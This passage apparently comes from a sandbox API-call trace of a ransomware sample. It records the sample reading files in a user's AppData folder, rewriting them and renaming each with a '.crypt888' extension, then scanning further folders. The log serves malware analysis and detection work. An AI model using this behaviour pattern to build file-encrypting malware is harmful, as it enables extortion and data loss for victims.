ReadFile (in: hFile=0x174, lpBuffer=0x26fe59c, nNumberOfBytesToRead=0xaaa8, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x26fe59c*, lpNumberOfBytesRead=0x39ed24*=0xaaa8, lpOverlapped=0x0) returned 1 [0078.965] CloseHandle (hObject=0x174) returned 1 [0078.987] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt", lpFilePart=0x0) returned 0x43 [0078.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0078.987] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uracto5e3adlucmqg.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.988] GetFileType (hFile=0x174) returned 0x1 [0078.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0078.989] GetFileType (hFile=0x174) returned 0x1 [0078.989] WriteFile (in: hFile=0x174, lpBuffer=0x276b384*, nNumberOfBytesToWrite=0xaab0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x276b384*, lpNumberOfBytesWritten=0x39ed14*=0xaab0, lpOverlapped=0x0) returned 1 [0078.990] CloseHandle (hObject=0x174) returned 1 [0078.991] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt", lpFilePart=0x0) returned 0x43 [0078.991] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt.crypt888", lpFilePart=0x0) returned 0x4c [0078.992] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0078.992] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uracto5e3adlucmqg.ppt"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74608e80, ftCreationTime.dwHighDateTime=0x1d4612b, ftLastAccessTime.dwLowDateTime=0x9a7a0540, ftLastAccessTime.dwHighDateTime=0x1d46628, ftLastWriteTime.dwLowDateTime=0xc047bc60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xaab0)) returned 1 [0078.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0078.992] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uracto5e3adlucmqg.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\URActo5e3aDlUcmQG.ppt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\uracto5e3adlucmqg.ppt.crypt888")) returned 1 [0078.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx", lpFilePart=0x0) returned 0x41 [0078.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0078.993] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utdaf8uuxnezjj.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0078.993] GetFileType (hFile=0x174) returned 0x1 [0078.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0078.993] GetFileType (hFile=0x174) returned 0x1 [0078.993] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x178a0 [0078.994] ReadFile (in: hFile=0x174, lpBuffer=0x370d390, nNumberOfBytesToRead=0x178a0, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x370d390*, lpNumberOfBytesRead=0x39ed24*=0x178a0, lpOverlapped=0x0) returned 1 [0078.996] CloseHandle (hObject=0x174) returned 1 [0079.023] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx", lpFilePart=0x0) returned 0x41 [0079.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0079.024] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utdaf8uuxnezjj.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.025] GetFileType (hFile=0x174) returned 0x1 [0079.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0079.025] GetFileType (hFile=0x174) returned 0x1 [0079.025] WriteFile (in: hFile=0x174, lpBuffer=0x3782f30*, nNumberOfBytesToWrite=0x178b0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x3782f30*, lpNumberOfBytesWritten=0x39ed14*=0x178b0, lpOverlapped=0x0) returned 1 [0079.028] CloseHandle (hObject=0x174) returned 1 [0079.030] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx", lpFilePart=0x0) returned 0x41 [0079.030] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx.crypt888", lpFilePart=0x0) returned 0x4a [0079.030] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0079.030] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utdaf8uuxnezjj.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1972480, ftCreationTime.dwHighDateTime=0x1d460d2, ftLastAccessTime.dwLowDateTime=0x6bea3ca0, ftLastAccessTime.dwHighDateTime=0x1d46109, ftLastWriteTime.dwLowDateTime=0xc04ee080, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x178b0)) returned 1 [0079.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0079.031] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utdaf8uuxnezjj.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\utDAF8uuXNeZjJ.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utdaf8uuxnezjj.xlsx.crypt888")) returned 1 [0079.032] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a", lpFilePart=0x0) returned 0x43 [0079.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0079.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utoxoyyuoppyd_8ii.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.032] GetFileType (hFile=0x174) returned 0x1 [0079.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0079.032] GetFileType (hFile=0x174) returned 0x1 [0079.032] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xb479 [0079.032] ReadFile (in: hFile=0x174, lpBuffer=0x27c34a0, nNumberOfBytesToRead=0xb479, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27c34a0*, lpNumberOfBytesRead=0x39ed24*=0xb479, lpOverlapped=0x0) returned 1 [0079.033] CloseHandle (hObject=0x174) returned 1 [0079.054] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a", lpFilePart=0x0) returned 0x43 [0079.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0079.055] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utoxoyyuoppyd_8ii.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.059] GetFileType (hFile=0x174) returned 0x1 [0079.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0079.059] GetFileType (hFile=0x174) returned 0x1 [0079.059] WriteFile (in: hFile=0x174, lpBuffer=0x2831ffc*, nNumberOfBytesToWrite=0xb480, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x2831ffc*, lpNumberOfBytesWritten=0x39ed14*=0xb480, lpOverlapped=0x0) returned 1 [0079.061] CloseHandle (hObject=0x174) returned 1 [0079.064] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a", lpFilePart=0x0) returned 0x43 [0079.064] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a.crypt888", lpFilePart=0x0) returned 0x4c [0079.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0079.064] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utoxoyyuoppyd_8ii.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97870070, ftCreationTime.dwHighDateTime=0x1d46369, ftLastAccessTime.dwLowDateTime=0x6ca8aeb0, ftLastAccessTime.dwHighDateTime=0x1d45655, ftLastWriteTime.dwLowDateTime=0xc053a340, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xb480)) returned 1 [0079.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0079.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utoxoyyuoppyd_8ii.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\uTOXOyyuoppYd_8II.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\utoxoyyuoppyd_8ii.m4a.crypt888")) returned 1 [0079.065] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4", lpFilePart=0x0) returned 0x42 [0079.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0079.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y4as cpcgpfqjpjy.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.066] GetFileType (hFile=0x174) returned 0x1 [0079.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0079.066] GetFileType (hFile=0x174) returned 0x1 [0079.066] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x113ec [0079.066] ReadFile (in: hFile=0x174, lpBuffer=0x283d8ec, nNumberOfBytesToRead=0x113ec, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x283d8ec*, lpNumberOfBytesRead=0x39ed24*=0x113ec, lpOverlapped=0x0) returned 1 [0079.067] CloseHandle (hObject=0x174) returned 1 [0079.093] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4", lpFilePart=0x0) returned 0x42 [0079.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0079.093] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y4as cpcgpfqjpjy.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.095] GetFileType (hFile=0x174) returned 0x1 [0079.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0079.095] GetFileType (hFile=0x174) returned 0x1 [0079.095] WriteFile (in: hFile=0x174, lpBuffer=0x26b1404*, nNumberOfBytesToWrite=0x113f0, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x26b1404*, lpNumberOfBytesWritten=0x39ed14*=0x113f0, lpOverlapped=0x0) returned 1 [0079.097] CloseHandle (hObject=0x174) returned 1 [0079.104] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4", lpFilePart=0x0) returned 0x42 [0079.104] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4.crypt888", lpFilePart=0x0) returned 0x4b [0079.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0079.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y4as cpcgpfqjpjy.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x549163e0, ftCreationTime.dwHighDateTime=0x1d45758, ftLastAccessTime.dwLowDateTime=0x68328f20, ftLastAccessTime.dwHighDateTime=0x1d45aa3, ftLastWriteTime.dwLowDateTime=0xc0586600, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x113f0)) returned 1 [0079.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0079.105] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y4as cpcgpfqjpjy.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y4aS cpcgPFqJpjy.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y4as cpcgpfqjpjy.mp4.crypt888")) returned 1 [0079.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a", lpFilePart=0x0) returned 0x3a [0079.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0079.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_kn2qqq7.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.106] GetFileType (hFile=0x174) returned 0x1 [0079.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0079.107] GetFileType (hFile=0x174) returned 0x1 [0079.107] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x10ef2 [0079.107] ReadFile (in: hFile=0x174, lpBuffer=0x26c2c24, nNumberOfBytesToRead=0x10ef2, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x26c2c24*, lpNumberOfBytesRead=0x39ed24*=0x10ef2, lpOverlapped=0x0) returned 1 [0079.108] CloseHandle (hObject=0x174) returned 1 [0079.161] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a", lpFilePart=0x0) returned 0x3a [0079.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0079.161] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_kn2qqq7.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.163] GetFileType (hFile=0x174) returned 0x1 [0079.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0079.163] GetFileType (hFile=0x174) returned 0x1 [0079.163] WriteFile (in: hFile=0x174, lpBuffer=0x274285c*, nNumberOfBytesToWrite=0x10f00, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x274285c*, lpNumberOfBytesWritten=0x39ed14*=0x10f00, lpOverlapped=0x0) returned 1 [0079.165] CloseHandle (hObject=0x174) returned 1 [0079.168] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a", lpFilePart=0x0) returned 0x3a [0079.168] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a.crypt888", lpFilePart=0x0) returned 0x43 [0079.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0079.169] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_kn2qqq7.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80fdc2c0, ftCreationTime.dwHighDateTime=0x1d461c6, ftLastAccessTime.dwLowDateTime=0x4dbbaba0, ftLastAccessTime.dwHighDateTime=0x1d46579, ftLastWriteTime.dwLowDateTime=0xc061eb80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10f00)) returned 1 [0079.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0079.169] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_kn2qqq7.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\_kN2qqq7.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\_kn2qqq7.m4a.crypt888")) returned 1 [0079.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0079.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x33 [0079.171] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\", lpFilePart=0x0) returned 0x34 [0079.171] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0079.173] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.173] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.173] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.173] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.174] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.174] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.174] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.174] FindClose (in: hFindFile=0x59a328 | out: hFindFile=0x59a328) returned 1 [0079.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0079.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0079.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0079.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe", lpFilePart=0x0) returned 0x33 [0079.175] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\", lpFilePart=0x0) returned 0x34 [0079.175] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a328 [0079.176] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.176] FindNextFileW (in: hFindFile=0x59a328, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.177] FindNextFileW 